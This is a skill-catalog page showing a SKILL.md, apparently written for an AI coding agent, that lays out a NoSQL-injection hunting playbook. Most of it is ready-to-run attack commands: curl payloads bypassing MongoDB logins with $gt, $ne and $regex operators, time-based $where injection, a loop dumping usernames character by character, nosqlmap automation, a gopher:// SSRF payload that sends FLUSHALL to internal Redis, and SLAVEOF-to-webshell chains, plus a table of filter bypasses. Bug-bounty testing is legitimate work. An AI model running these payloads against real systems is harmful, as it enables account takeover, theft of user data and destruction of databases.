hunt-nosqli

GitHub

针对MongoDB、Redis等NoSQL数据库的注入攻击检测与利用技能,涵盖认证绕过、数据泄露及命令注入。

skills/hunt-nosqli/SKILL.md elementalsouls/Claude-BugHunter

Trigger Scenarios

目标使用MongoDB或CouchDB 发现NoSQL相关错误信息 存在JSON登录接口

Install

npx skills add elementalsouls/Claude-BugHunter --skill hunt-nosqli -g -y
More Options

Use without installing

npx skills use elementalsouls/Claude-BugHunter@hunt-nosqli

指定 Agent (Claude Code)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-nosqli -a claude-code -g -y

安装 repo 全部 skill

npx skills add elementalsouls/Claude-BugHunter --all -g -y

预览 repo 内 skill

npx skills add elementalsouls/Claude-BugHunter --list

SKILL.md

Frontmatter
{
    "name": "hunt-nosqli",
    "sources": "hackerone_public",
    "description": "Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB\/Mongoose, CouchDB, Redis, or shows NoSQL error messages.",
    "report_count": 14
}

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 3b — Syntax injection into a concatenated $where/query (string context)

When the app concatenates input into a JS $where STRING ("this.name=='"+input+"'") instead of accepting an operator object, break the string rather than passing $gt/$ne. Fuzz first, then break:

fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle

(PortSwigger: Injecting syntax into NoSQL queries.)

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
Blocks operator keys Nested objects deeper in structure

Chain Table

NoSQLi finding Chain to Impact
Auth bypass Admin panel access Full admin control
User enum via regex Credential stuffing Mass ATO
$where enabled Arbitrary JS in DB process Data exfil or DoS
Redis via SSRF CONFIG SET / SLAVEOF Webshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

Version History

  • 0efc24c Current 2026-09-02 20:56

Same Skill Collection

skills/bb-methodology/SKILL.md
skills/hunt-aspnet/SKILL.md
skills/hunt-cors/SKILL.md
skills/hunt-deserialization/SKILL.md
skills/hunt-dispatch/SKILL.md
skills/hunt-exceptional-conditions/SKILL.md
skills/hunt-graphql/SKILL.md
skills/hunt-html-injection/SKILL.md
skills/hunt-idor/SKILL.md
skills/hunt-laravel/SKILL.md
skills/hunt-lfi/SKILL.md
skills/hunt-misc/SKILL.md
skills/hunt-nextjs/SKILL.md
skills/hunt-nodejs/SKILL.md
skills/hunt-ntlm-info/SKILL.md
skills/hunt-oauth/SKILL.md
skills/hunt-open-redirect/SKILL.md
skills/hunt-rce/SKILL.md
skills/hunt-source-leak/SKILL.md
skills/hunt-springboot/SKILL.md
skills/hunt-websocket/SKILL.md
skills/hunt-xss/SKILL.md
skills/hunt-xxe/SKILL.md
skills/redteam-mindset/SKILL.md
skills/security-arsenal/SKILL.md
skills/triage-validation/SKILL.md
skills/web2-recon/SKILL.md
skills/web3-audit/SKILL.md
skills/apk-redteam-pipeline/SKILL.md
skills/bb-local-toolkit/SKILL.md
skills/bug-bounty/SKILL.md
skills/bugcrowd-reporting/SKILL.md
skills/cloud-iam-deep/SKILL.md
skills/enterprise-vpn-attack/SKILL.md
skills/evidence-hygiene/SKILL.md
skills/hunt-api-misconfig/SKILL.md
skills/hunt-ato/SKILL.md
skills/hunt-auth-bypass/SKILL.md
skills/hunt-brute-force/SKILL.md
skills/hunt-business-logic/SKILL.md
skills/hunt-cache-poison/SKILL.md
skills/hunt-captcha-bypass/SKILL.md
skills/hunt-cicd/SKILL.md
skills/hunt-clickjacking/SKILL.md
skills/hunt-cloud-misconfig/SKILL.md
skills/hunt-csrf/SKILL.md
skills/hunt-dom/SKILL.md
skills/hunt-file-upload/SKILL.md
skills/hunt-fintech-graphql/SKILL.md

Metadata

Files
0
Version
0efc24c
Hash
6df5885e
Indexed
2026-09-02 20:56

trang chủ - Wiki
Copyright © 2011-2026 iteam. Current version is 2.155.2. UTC+08:00, 2026-09-03 01:38
浙ICP备14020137号-1 $bản đồ khách truy cập$